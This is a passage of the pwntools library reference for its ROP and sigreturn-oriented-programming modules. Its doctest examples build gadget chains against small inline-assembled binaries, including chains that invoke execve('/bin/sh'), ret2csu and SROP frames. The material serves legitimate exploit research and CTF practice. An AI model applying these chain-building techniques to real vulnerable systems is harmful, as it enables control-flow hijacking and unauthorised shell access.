0x0018:              0x5 arg1
0x001c:              0x6 arg2
0x0020:          b'iaaa' <pad>
0x0024:       0xdecafbad write(7, 8, 9)
0x0028:       0x10000000 <adjust @0x3c> add esp, 0x10; ret
0x002c:              0x7 arg0
0x0030:              0x8 arg1
0x0034:              0x9 arg2
0x0038:          b'oaaa' <pad>
0x003c:       0xfeedface exit()
```

You can also append complex arguments onto stack when the stack pointer is known.

```
>>> rop = ROP(binary, base=0x7fffe000)
>>> rop.call('execve', [b'/bin/sh', [[b'/bin/sh'], [b'-p'], [b'-c'], [b'ls']], 0])
>>> print(rop.dump())
0x7fffe000:       0xcafebabe execve([b'/bin/sh'], [[b'/bin/sh'], [b'-p'], [b'-c'], [b
↪'ls']], 0)
0x7fffe004:          b'baaa' <return address>
0x7fffe008:       0x7fffe014 arg0 (+0xc)
0x7fffe00c:       0x7fffe01c arg1 (+0x10)
0x7fffe010:              0x0 arg2
0x7fffe014:   b'/bin/sh\x00'
0x7fffe01c:       0x7fffe02c (+0x10)
0x7fffe020:       0x7fffe034 (+0x14)
0x7fffe024:       0x7fffe038 (+0x14)
0x7fffe028:       0x7fffe03c (+0x14)
0x7fffe02c:   b'/bin/sh\x00'
0x7fffe034:       b'-p\x00$'
0x7fffe038:       b'-c\x00$'
0x7fffe03c:       b'ls\x00$'
```

ROP also detects 'jmp $sp' gadget to help exploit binaries with NX disabled. You can get this gadget on 'i386':

```
>>> context.clear(arch='i386')
>>> elf = ELF.from_assembly('nop; jmp esp; ret')
>>> rop = ROP(elf)
>>> jmp_gadget = rop.jmp_esp
>>> elf.read(jmp_gadget.address, 2) == asm('jmp esp')
True
```

You can also get this gadget on 'amd64':

```
>>> context.clear(arch='amd64')
>>> elf = ELF.from_assembly('nop; jmp rsp; ret')
>>> rop = ROP(elf)
>>> jmp_gadget = rop.jmp_rsp
>>> elf.read(jmp_gadget.address, 2) == asm('jmp rsp')
True
```

Gadgets whose address has badchar are filtered out:

```
>>> context.clear(arch='i386')
>>> elf = ELF.from_assembly('nop; pop eax; jmp esp; int 0x80; jmp esp; ret')
>>> rop = ROP(elf, badchars=b'\x02')
>>> jmp_gadget = rop.jmp_esp    # It returns the second gadget
>>> elf.read(jmp_gadget.address, 2) == asm('jmp esp')
True
>>> rop = ROP(elf, badchars=b'\x02\x06')
>>> rop.jmp_esp == None         # The address of both gadgets has badchar
True
```

2.26.2 ROP Example

Let's assume we have a trivial binary that just reads some data onto the stack, and returns.

```
>>> context.clear(arch='i386')
>>> c = constants
>>> assembly =  'read:'      + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'ret\n'
```

Let's provide some simple gadgets:

```
>>> assembly += 'add_esp: add esp, 0x10; ret\n'
```

And perhaps a nice "write" function.

```
>>> assembly += 'write: enter 0,0\n'
>>> assembly += '    mov ebx, [ebp+4+4]\n'
>>> assembly += '    mov ecx, [ebp+4+8]\n'
>>> assembly += '    mov edx, [ebp+4+12]\n'
>>> assembly += shellcraft.write('ebx', 'ecx', 'edx')
>>> assembly += '    leave\n'
>>> assembly += '    ret\n'
>>> assembly += 'flag: .asciz "The flag"\n'
```

And a way to exit cleanly.

```
>>> assembly += 'exit: ' + shellcraft.exit(0)
>>> binary   = ELF.from_assembly(assembly)
```

Finally, let's build our ROP stack

```
>>> rop = ROP(binary)
>>> rop.write(c.STDOUT_FILENO, binary.symbols['flag'], 8)
>>> rop.exit()
>>> print(rop.dump())
0x0000:       0x10000012 write(STDOUT_FILENO, 0x10000026, 8)
```

(continues on next page)

(continued from previous page)

```
0x0004:       0x1000000e <adjust @0x18> add esp, 0x10; ret
0x0008:              0x1 STDOUT_FILENO
0x000c:       0x10000026 flag
0x0010:              0x8 arg2
0x0014:           b'faaa' <pad>
0x0018:       0x1000002f exit()
```

The raw data from the ROP stack is available via *str*.

```
>>> raw_rop = rop.chain()
>>> print(enhex(raw_rop))
120000100e000010010000002600001008000000666161612f000010
```

Let's try it out!

```
>>> p = process(binary.path)
>>> p.send(raw_rop)
>>> print(repr(p.recvall(timeout=5)))
b'The flag'
```

2.26.3 ROP Example (amd64)

For amd64 binaries, the registers are loaded off the stack. Pwntools can do basic reasoning about simple "pop; pop; add; ret"-style gadgets, and satisfy requirements so that everything "just works".

```
>>> context.clear(arch='amd64')
>>> assembly = 'pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret; target: ret'
>>> binary = ELF.from_assembly(assembly)
>>> rop = ROP(binary)
>>> rop.target(1,2,3)
>>> print(rop.dump())
0x0000:       0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret
0x0008:              0x3 [arg2] rdx = 3
0x0010:              0x1 [arg0] rdi = 1
0x0018:              0x2 [arg1] rsi = 2
0x0020:      b'iaaajaaa' <pad 0x20>
0x0028:      b'kaaalaaa' <pad 0x18>
0x0030:      b'maaanaaa' <pad 0x10>
0x0038:      b'oaaapaaa' <pad 0x8>
0x0040:       0x10000008 target
>>> rop.target(1)
>>> print(rop.dump())
0x0000:       0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret
0x0008:              0x3 [arg2] rdx = 3
0x0010:              0x1 [arg0] rdi = 1
0x0018:              0x2 [arg1] rsi = 2
0x0020:      b'iaaajaaa' <pad 0x20>
0x0028:      b'kaaalaaa' <pad 0x18>
0x0030:      b'maaanaaa' <pad 0x10>
0x0038:      b'oaaapaaa' <pad 0x8>
0x0040:       0x10000008 target
0x0048:       0x10000001 pop rdi; pop rsi; add rsp, 0x20; ret
0x0050:              0x1 [arg0] rdi = 1
0x0058:      b'waaaxaaa' <pad rsi>
0x0060:      b'yaaazaab' <pad 0x20>
```

(continues on next page)

(continued from previous page)

```
0x0068:      b'baabcaab' <pad 0x18>
0x0070:      b'daabeaab' <pad 0x10>
0x0078:      b'faabgaab' <pad 0x8>
0x0080:       0x10000008 target
```

Pwntools will also filter out some bad instructions while setting the registers (e.g. syscall, int 0x80…)

```
>>> assembly = 'syscall; pop rdx; pop rsi; ret ; pop rdi ; int 0x80; pop rsi; pop rdx;
↪ ret ; pop rdi ; ret'
>>> binary = ELF.from_assembly(assembly)
>>> rop = ROP(binary)
>>> rop.call(0xdeadbeef, [1, 2, 3])
>>> print(rop.dump())
0x0000:       0x1000000b pop rdi; ret
0x0008:              0x1 [arg0] rdi = 1
0x0010:       0x10000002 pop rdx; pop rsi; ret
0x0018:              0x3 [arg2] rdx = 3
0x0020:              0x2 [arg1] rsi = 2
0x0028:       0xdeadbeef
```

2.26.4 ROP + Sigreturn

In some cases, control of the desired register is not available. However, if you have control of the stack, EAX, and can find a *int 0x80* gadget, you can use sigreturn.

Even better, this happens automagically.

Our example binary will read some data onto the stack, and not do anything else interesting.

```
>>> context.clear(arch='i386')
>>> c = constants
>>> assembly =  'read:'      + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'ret\n'
>>> assembly += 'pop eax; ret\n'
>>> assembly += 'int 0x80\n'
>>> assembly += 'binsh: .asciz "/bin/sh"'
>>> binary    = ELF.from_assembly(assembly)
```

Let's create a ROP object and invoke the call.

```
>>> context.kernel = 'amd64'
>>> rop   = ROP(binary)
>>> binsh = binary.symbols['binsh']
>>> rop.execve(binsh, 0, 0)
```

That's all there is to it.

```
>>> print(rop.dump())
0x0000:       0x1000000e pop eax; ret
0x0004:             0x77 [arg0] eax = SYS_sigreturn
0x0008:       0x1000000b int 0x80; ret
0x000c:              0x0 gs
0x0010:              0x0 fs
0x0014:              0x0 es
0x0018:              0x0 ds
```

(continues on next page)

(continued from previous page)

```
0x001c:              0x0 edi
0x0020:              0x0 esi
0x0024:              0x0 ebp
0x0028:              0x0 esp
0x002c:       0x10000012 ebx = binsh
0x0030:              0x0 edx
0x0034:              0x0 ecx
0x0038:              0xb eax = SYS_execve
0x003c:              0x0 trapno
0x0040:              0x0 err
0x0044:       0x1000000b int 0x80; ret
0x0048:             0x23 cs
0x004c:              0x0 eflags
0x0050:              0x0 esp_at_signal
0x0054:             0x2b ss
0x0058:              0x0 fpstate
```

Let's try it out!

```
>>> p = process(binary.path)
>>> p.send(rop.chain())
>>> time.sleep(1)
>>> p.sendline(b'echo hello; exit')
>>> p.recvline()
b'hello\n'
```

class pwnlib.rop.rop.**ROP**(*elfs*, *base=None*, *badchars=''*, ***kwargs*)

Class which simplifies the generation of ROP-chains.

Example:

```
elf = ELF('ropasaurusrex')
rop = ROP(elf)
rop.read(0, elf.bss(0x80))
rop.dump()
# ['0x0000:        0x80482fc (read)',
#  '0x0004:       0xdeadbeef',
#  '0x0008:              0x0',
#  '0x000c:        0x80496a8']
bytes(rop)
# '\xfc\x82\x04\x08\xef\xbe\xad\xde\x00\x00\x00\x00\xa8\x96\x04\x08'
```

```
>>> context.clear(arch = "i386", kernel = 'amd64')
>>> assembly = 'int 0x80; ret; add esp, 0x10; ret; pop eax; ret'
>>> e = ELF.from_assembly(assembly)
>>> e.symbols['funcname'] = e.entry + 0x1234
>>> r = ROP(e)
>>> r.funcname(1, 2)
>>> r.funcname(3)
>>> r.execve(4, 5, 6)
>>> print(r.dump())
0x0000:       0x10001234 funcname(1, 2)
0x0004:       0x10000003 <adjust @0x18> add esp, 0x10; ret
0x0008:              0x1 arg0
0x000c:              0x2 arg1
0x0010:          b'eaaa' <pad>
```

(continues on next page)

(continued from previous page)

```
0x0014:          b'faaa' <pad>
0x0018:      0x10001234 funcname(3)
0x001c:      0x10000007 <adjust @0x24> pop eax; ret
0x0020:             0x3 arg0
0x0024:      0x10000007 pop eax; ret
0x0028:            0x77 [arg0] eax = SYS_sigreturn
0x002c:      0x10000000 int 0x80; ret
0x0030:             0x0 gs
0x0034:             0x0 fs
0x0038:             0x0 es
0x003c:             0x0 ds
0x0040:             0x0 edi
0x0044:             0x0 esi
0x0048:             0x0 ebp
0x004c:             0x0 esp
0x0050:             0x4 ebx
0x0054:             0x6 edx
0x0058:             0x5 ecx
0x005c:             0xb eax = SYS_execve
0x0060:             0x0 trapno
0x0064:             0x0 err
0x0068:      0x10000000 int 0x80; ret
0x006c:            0x23 cs
0x0070:             0x0 eflags
0x0074:             0x0 esp_at_signal
0x0078:            0x2b ss
0x007c:             0x0 fpstate
```

```
>>> r = ROP(e, 0x8048000)
>>> r.funcname(1, 2)
>>> r.funcname(3)
>>> r.execve(4, 5, 6)
>>> print(r.dump())
0x8048000:      0x10001234 funcname(1, 2)
0x8048004:      0x10000003 <adjust @0x8048018> add esp, 0x10; ret
0x8048008:             0x1 arg0
0x804800c:             0x2 arg1
0x8048010:          b'eaaa' <pad>
0x8048014:          b'faaa' <pad>
0x8048018:      0x10001234 funcname(3)
0x804801c:      0x10000007 <adjust @0x8048024> pop eax; ret
0x8048020:             0x3 arg0
0x8048024:      0x10000007 pop eax; ret
0x8048028:            0x77 [arg0] eax = SYS_sigreturn
0x804802c:      0x10000000 int 0x80; ret
0x8048030:             0x0 gs
0x8048034:             0x0 fs
0x8048038:             0x0 es
0x804803c:             0x0 ds
0x8048040:             0x0 edi
0x8048044:             0x0 esi
0x8048048:             0x0 ebp
0x804804c:       0x8048080 esp
0x8048050:             0x4 ebx
0x8048054:             0x6 edx
0x8048058:             0x5 ecx
```

(continues on next page)

(continued from previous page)

```
0x804805c:               0xb eax = SYS_execve
0x8048060:               0x0 trapno
0x8048064:               0x0 err
0x8048068:        0x10000000 int 0x80; ret
0x804806c:              0x23 cs
0x8048070:               0x0 eflags
0x8048074:               0x0 esp_at_signal
0x8048078:              0x2b ss
0x804807c:               0x0 fpstate
```

```
>>> elf = ELF.from_assembly('ret')
>>> r = ROP(elf)
>>> r.ret.address == 0x10000000
True
>>> r = ROP(elf, badchars=b'\x00')
>>> r.gadgets == {}
True
>>> r.ret is None
True
```

Parameters

- **elfs** (*list*) – List of *ELF* objects for mining
- **base** (*int*) – Stack address where the first byte of the ROP chain lies, if known.
- **badchars** (*str*) – Characters which should not appear in ROP gadget addresses.

_ROP__get_cachefile_name (*files*)

Given an ELF or list of ELF objects, return a cache file for the set of files

_ROP__load ()

Load all ROP gadgets for the selected ELF files

__bytes__ ()

Returns: Raw bytes of the ROP chain

__call__ (**args*, ***kwargs*)

Set the given register(s)' by constructing a rop chain.

This is a thin wrapper around *setRegisters()* which actually executes the rop chain.

You can call this *ROP* instance and provide keyword arguments, or a dictionary.

Parameters **regs** (*dict*) – Mapping of registers to values. Can instead provide `kwargs`.

```
>>> context.clear(arch='amd64')
>>> assembly = 'pop rax; pop rdi; pop rsi; ret; pop rax; ret;'
>>> e = ELF.from_assembly(assembly)
>>> r = ROP(e)
>>> r(rax=0xdead, rdi=0xbeef, rsi=0xcafe)
>>> print(r.dump())
0x0000:       0x10000000 pop rax; pop rdi; pop rsi; ret
0x0008:           0xdead
0x0010:           0xbeef
0x0018:           0xcafe
>>> r = ROP(e)
>>> r({'rax': 0xdead, 'rdi': 0xbeef, 'rsi': 0xcafe})
```

(continues on next page)

(continued from previous page)

```
>>> print(r.dump())
0x0000:       0x10000000 pop rax; pop rdi; pop rsi; ret
0x0008:           0xdead
0x0010:           0xbeef
0x0018:           0xcafe
```

__getattr__(*attr*)
Helper to make finding ROP gadgets easier.

Also provides a shorthand for `.call()`: `rop.function(args)` is equivalent to `rop.call(function, args)`

```
>>> context.clear(arch='i386')
>>> elf=ELF(which('bash'))
>>> rop=ROP([elf])
>>> rop.rdi     == rop.search(regs=['rdi'], order = 'regs')
True
>>> rop.r13_r14_r15_rbp == rop.search(regs=['r13','r14','r15','rbp'], order =
↪'regs')
True
>>> rop.ret_8   == rop.search(move=8)
True
>>> rop.ret is not None
True
>>> with context.local(arch='amd64', bits='64'):
...     r = ROP(ELF.from_assembly('syscall; ret'))
>>> r.syscall is not None
True
```

__init__(*elfs*, *base=None*, *badchars=''*, ***kwargs*)

Parameters

- **elfs** (*list*) – List of *ELF* objects for mining
- **base** (*int*) – Stack address where the first byte of the ROP chain lies, if known.
- **badchars** (*str*) – Characters which should not appear in ROP gadget addresses.

__repr__() <==> *repr(x)*

__setattr__(*attr*, *value*)
Helper for setting registers.

This convenience feature allows one to set the values of registers with simple python assignment syntax.

> **Warning:** Only one register is set at a time (one per rop chain). This may lead to some previously set to registers be overwritten!

Note: If you would like to set multiple registers in as few rop chains as possible, see *__call__()*.

```
>>> context.clear(arch='amd64')
>>> assembly = 'pop rax; pop rdi; pop rsi; ret; pop rax; ret;'
>>> e = ELF.from_assembly(assembly)
>>> r = ROP(e)
```

(continues on next page)

(continued from previous page)

```
>>> r.rax = 0xdead
>>> r.rdi = 0xbeef
>>> r.rsi = 0xcafe
>>> print(r.dump())
0x0000:       0x10000004 pop rax; ret
0x0008:           0xdead
0x0010:       0x10000001 pop rdi; pop rsi; ret
0x0018:           0xbeef
0x0020:      b'iaaajaaa' <pad rsi>
0x0028:       0x10000002 pop rsi; ret
0x0030:           0xcafe
```

__str__()
Returns: Raw bytes of the ROP chain

build(*base=None*, *description=None*)
Construct the ROP chain into a list of elements which can be passed to `flat()`.

Parameters

- **base** (*int*) – The base address to build the rop-chain from. Defaults to `base`.
- **description** (*dict*) – Optional output argument, which will gets a mapping of `address: description` for each address on the stack, starting at `base`.

call(*resolvable*, *arguments=()*, *abi=None*, ***kwargs*)
Add a call to the ROP chain

Parameters

- **resolvable** (*str*, *int*) – Value which can be looked up via 'resolve', or is already an integer.
- **arguments** (*list*) – List of arguments which can be passed to pack(). Alternately, if a base address is set, arbitrarily nested structures of strings or integers can be provided.

chain(*base=None*)
Build the ROP chain

Parameters **base** (*int*) – The base address to build the rop-chain from. Defaults to `base`.

Returns str containing raw ROP bytes

static clear_cache()
Clears the ROP gadget cache

describe(*object*)
Return a description for an object in the ROP stack

dump(*base=None*)
Dump the ROP chain in an easy-to-read manner

Parameters **base** (*int*) – The base address to build the rop-chain from. Defaults to `base`.

find_gadget(*instructions*)
Returns a gadget with the exact sequence of instructions specified in the `instructions` argument.

generatePadding(*offset*, *count*)
Generates padding to be inserted into the ROP stack.

```
>>> context.clear(arch='i386')
>>> rop = ROP([])
>>> val = rop.generatePadding(5,15)
>>> cyclic_find(val[:4])
5
>>> len(val)
15
>>> rop.generatePadding(0,0)
b''
```

migrate (*next_base*)
Explicitly set $sp, by using a `leave; ret` gadget

raw (*value*)
Adds a raw integer or string to the ROP chain.

If your architecture requires aligned values, then make sure that any given string is aligned!

Parameters **data** (*int/bytes*) – The raw value to put onto the rop chain.

```
>>> context.clear(arch='i386')
>>> rop = ROP([])
>>> rop.raw('AAAAAAAA')
>>> rop.raw('BBBBBBBB')
>>> rop.raw('CCCCCCCC')
>>> print(rop.dump())
0x0000:         b'AAAA' 'AAAAAAAA'
0x0004:         b'AAAA'
0x0008:         b'BBBB' 'BBBBBBBB'
0x000c:         b'BBBB'
0x0010:         b'CCCC' 'CCCCCCCC'
0x0014:         b'CCCC'
```

resolve (*resolvable*)
Resolves a symbol to an address

Parameters **resolvable** (*str, int*) – Thing to convert into an address

Returns int containing address of 'resolvable', or None

ret2csu (*edi=<pwnlib.rop.rop.Padding object>, rsi=<pwnlib.rop.rop.Padding object>, rdx=<pwnlib.rop.rop.Padding object>, rbx=<pwnlib.rop.rop.Padding object>, rbp=<pwnlib.rop.rop.Padding object>, r12=<pwnlib.rop.rop.Padding object>, r13=<pwnlib.rop.rop.Padding object>, r14=<pwnlib.rop.rop.Padding object>, r15=<pwnlib.rop.rop.Padding object>, call=None*)
Build a ret2csu ROPchain

Parameters

- **rsi, rdx** (*edi,*) – Three primary registers to populate
- **rbp, r12, r13, r14, r15** (*rbx,*) – Optional registers to populate
- **call** – Pointer to the address of a function to call during second gadget. If None then use the address of _fini in the .dynamic section. .got.plt entries are a good target. Required for PIE binaries.

Test:

```
>>> context.clear(binary=pwnlib.data.elf.ret2dlresolve.get("amd64"))
>>> r = ROP(context.binary)
>>> r.ret2csu(1, 2, 3, 4, 5, 6, 7, 8, 9)
>>> r.call(0xdeadbeef)
>>> print(r.dump())
0x0000:         0x40058a
0x0008:              0x0
0x0010:              0x1
0x0018:         0x600e48
0x0020:              0x1
0x0028:              0x2
0x0030:              0x3
0x0038:         0x400570
0x0040:      b'qaaaraaa' <add rsp, 8>
0x0048:              0x4
0x0050:              0x5
0x0058:              0x6
0x0060:              0x7
0x0068:              0x8
0x0070:              0x9
0x0078:       0xdeadbeef 0xdeadbeef()
>>> open('core','w').close(); os.unlink('core')  # remove any old core␣
↪file for the tests
>>> p = process()
>>> p.send(fit({64+context.bytes: r}))
>>> p.wait(0.5)
>>> core = p.corefile
>>> hex(core.pc)
'0xdeadbeef'
>>> core.rdi, core.rsi, core.rdx, core.rbx, core.rbp, core.r12, core.r13,␣
↪core.r14, core.r15
(1, 2, 3, 4, 5, 6, 7, 8, 9)
```

search (*move=0*, *regs=None*, *order='size'*)

Search for a gadget which matches the specified criteria.

Parameters

- **move** (`int`) – Minimum number of bytes by which the stack pointer is adjusted.
- **regs** (`list`) – Minimum list of registers which are popped off the stack.
- **order** (`str`) – Either the string 'size' or 'regs'. Decides how to order multiple gadgets the fulfill the requirements.

The search will try to minimize the number of bytes popped more than requested, the number of registers touched besides the requested and the address.

If `order == 'size'`, then gadgets are compared lexicographically by `(total_moves, total_regs, addr)`, otherwise by `(total_regs, total_moves, addr)`.

Returns A `Gadget` object

search_iter (*move=None*, *regs=None*)

Iterate through all gadgets which move the stack pointer by *at least* `move` bytes, and which allow you to set all registers in `regs`.

setRegisters (*registers*)

Returns an list of addresses/values which will set the specified register context.

Parameters **registers** (*dict*) – Dictionary of `{register name: value}`

Returns

A list of tuples, ordering the stack.

Each tuple is in the form of `(value, name)` where `value` is either a gadget address or literal value to go on the stack, and `name` is either a string name or other item which can be "unresolved".

Note: This is basically an implementation of the Set Cover Problem, which is NP-hard. This means that we will take polynomial time N**2, where N is the number of gadgets. We can reduce runtime by discarding useless and inferior gadgets ahead of time.

unresolve(*value*)

Inverts 'resolve'. Given an address, it attempts to find a symbol for it in the loaded ELF files. If none is found, it searches all known gadgets, and returns the disassembly

Parameters **value** (*int*) – Address to look up

Returns String containing the symbol name for the address, disassembly for a gadget (if there's one at that address), or an empty string.

__weakref__

list of weak references to the object (if defined)

_badchars = None

Characters which should not appear in ROP gadget addresses.

_chain = None

List of individual ROP gadgets, ROP calls, SROP frames, etc. This is intended to be the highest-level abstraction that we can muster.

base = None

Stack address where the first byte of the ROP chain lies, if known.

elfs = None

List of ELF files which are available for mining gadgets

migrated = None

Whether or not the ROP chain directly sets the stack pointer to a value which is not contiguous

2.27 pwnlib.rop.srop — Sigreturn Oriented Programming

Sigreturn ROP (SROP)

Sigreturn is a syscall used to restore the entire register context from memory pointed at by ESP.

We can leverage this during ROP to gain control of registers for which there are not convenient gadgets. The main caveat is that *all* registers are set, including ESP and EIP (or their equivalents). This means that in order to continue after using a sigreturn frame, the stack pointer must be set accordingly.

i386 Example:

Let's just print a message out using SROP.

```
>>> message = "Hello, World\\n"
```

First, we'll create our example binary. It just reads some data onto the stack, and invokes the `sigreturn` syscall. We also make an `int 0x80` gadget available, followed immediately by `exit(0)`.

```
>>> context.clear(arch='i386')
>>> assembly =  'setup: sub esp, 1024\n'
>>> assembly += 'read:'      + shellcraft.read(constants.STDIN_FILENO, 'esp',
↪ 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:'      + shellcraft.trap()
>>> assembly += 'syscall: '  + shellcraft.syscall()
>>> assembly += 'exit: '     + 'xor ebx, ebx; mov eax, 1; int 0x80;'
>>> assembly += 'message: '  + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
```

Let's construct our frame to have it invoke a `write` syscall, and dump the message to stdout.

```
>>> frame = SigreturnFrame(kernel='amd64')
>>> frame.eax = constants.SYS_write
>>> frame.ebx = constants.STDOUT_FILENO
>>> frame.ecx = binary.symbols['message']
>>> frame.edx = len(message)
>>> frame.esp = 0xdeadbeef
>>> frame.eip = binary.symbols['syscall']
```

Let's start the process, send the data, and check the message.

```
>>> p = process(binary.path)
>>> p.send(bytes(frame))
>>> p.recvline()
b'Hello, World\n'
>>> p.poll(block=True)
0
```

amd64 Example:

```
>>> context.clear()
>>> context.arch = "amd64"
>>> assembly =  'setup: sub rsp, 1024\n'
>>> assembly += 'read:'      + shellcraft.read(constants.STDIN_FILENO, 'rsp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:'      + shellcraft.trap()
>>> assembly += 'syscall: '  + shellcraft.syscall()
>>> assembly += 'exit: '     + 'xor rdi, rdi; mov rax, 60; syscall;'
>>> assembly += 'message: '  + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.rax = constants.SYS_write
>>> frame.rdi = constants.STDOUT_FILENO
>>> frame.rsi = binary.symbols['message']
>>> frame.rdx = len(message)
>>> frame.rsp = 0xdeadbeef
>>> frame.rip = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(bytes(frame))
>>> p.recvline()
b'Hello, World\n'
>>> p.poll(block=True)
0
```

arm Example:

```
>>> context.clear()
>>> context.arch = "arm"
>>> assembly =  'setup: sub sp, sp, 1024\n'
>>> assembly += 'read:'      + shellcraft.read(constants.STDIN_FILENO, 'sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:'      + shellcraft.trap()
>>> assembly += 'syscall: '  + shellcraft.syscall()
>>> assembly += 'exit: '     + 'eor r0, r0; mov r7, 0x1; swi #0;'
>>> assembly += 'message: '  + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.r7 = constants.SYS_write
>>> frame.r0 = constants.STDOUT_FILENO
>>> frame.r1 = binary.symbols['message']
>>> frame.r2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(bytes(frame))
>>> p.recvline()
b'Hello, World\n'
>>> p.wait_for_close()
>>> p.poll(block=True)
0
```

Mips Example:

```
>>> context.clear()
>>> context.arch = "mips"
>>> context.endian = "big"
>>> assembly =  'setup: sub $sp, $sp, 1024\n'
>>> assembly += 'read:'      + shellcraft.read(constants.STDIN_FILENO, '$sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'syscall: '  + shellcraft.syscall()
>>> assembly += 'exit: '     + shellcraft.exit(0)
>>> assembly += 'message: '  + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.v0 = constants.SYS_write
>>> frame.a0 = constants.STDOUT_FILENO
>>> frame.a1 = binary.symbols['message']
>>> frame.a2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(bytes(frame))
>>> p.recvline()
b'Hello, World\n'
>>> p.poll(block=True)
0
```

Mipsel Example:

```
>>> context.clear()
>>> context.arch = "mips"
>>> context.endian = "little"
```

(continues on next page)

(continued from previous page)

```
>>> assembly =  'setup: sub $sp, $sp, 1024\n'
>>> assembly += 'read:'      + shellcraft.read(constants.STDIN_FILENO, '$sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'syscall: '  + shellcraft.syscall()
>>> assembly += 'exit: '     + shellcraft.exit(0)
>>> assembly += 'message: '  + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.v0 = constants.SYS_write
>>> frame.a0 = constants.STDOUT_FILENO
>>> frame.a1 = binary.symbols['message']
>>> frame.a2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(bytes(frame))
>>> p.recvline()
b'Hello, World\n'
>>> p.poll(block=True)
0
```

class pwnlib.rop.srop.**SigreturnFrame**(***kw*)

Crafts a sigreturn frame with values that are loaded up into registers.

Parameters **arch** (*str*) – The architecture. Currently `i386` and `amd64` are supported.

Examples

Crafting a SigreturnFrame that calls mprotect on amd64

```
>>> context.clear(arch='amd64')
>>> s = SigreturnFrame()
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 51, 0, 0, 0,
↪ 0, 0, 0, 0]
>>> assert len(s) == 248
>>> s.rax = 0xa
>>> s.rdi = 0x00601000
>>> s.rsi = 0x1000
>>> s.rdx = 0x7
>>> assert len(bytes(s)) == 248
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 6295552, 4096, 0, 0, 7, 10, 0, 0, 0, 0,␣
↪51, 0, 0, 0, 0, 0, 0, 0]
```

Crafting a SigreturnFrame that calls mprotect on i386

```
>>> context.clear(arch='i386')
>>> s = SigreturnFrame(kernel='i386')
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 115, 0, 0, 123, 0]
>>> assert len(s) == 80
>>> s.eax = 125
>>> s.ebx = 0x00601000
>>> s.ecx = 0x1000
>>> s.edx = 0x7
```

(continues on next page)

(continued from previous page)

```
>>> assert len(bytes(s)) == 80
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 6295552, 7, 4096, 125, 0, 0, 0, 115, 0, 0, 123, 0]
```

Crafting a SigreturnFrame that calls mprotect on ARM

```
>>> s = SigreturnFrame(arch='arm')
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,␣
↪1073741840, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1447448577, 288]
>>> s.r0 = 125
>>> s.r1 = 0x00601000
>>> s.r2 = 0x1000
>>> s.r3 = 0x7
>>> assert len(bytes(s)) == 240
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 6, 0, 0, 125, 6295552, 4096, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,␣
↪0, 1073741840, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1447448577, 288]
```

Crafting a SigreturnFrame that calls mprotect on MIPS

```
>>> context.clear()
>>> context.endian = "big"
>>> s = SigreturnFrame(arch='mips')
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,␣
↪0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
>>> s.v0 = 0x101d
>>> s.a0 = 0x00601000
>>> s.a1 = 0x1000
>>> s.a2 = 0x7
>>> assert len(bytes(s)) == 296
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4125, 0, 0, 0, 6295552, 0, 4096, 0,␣
↪7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
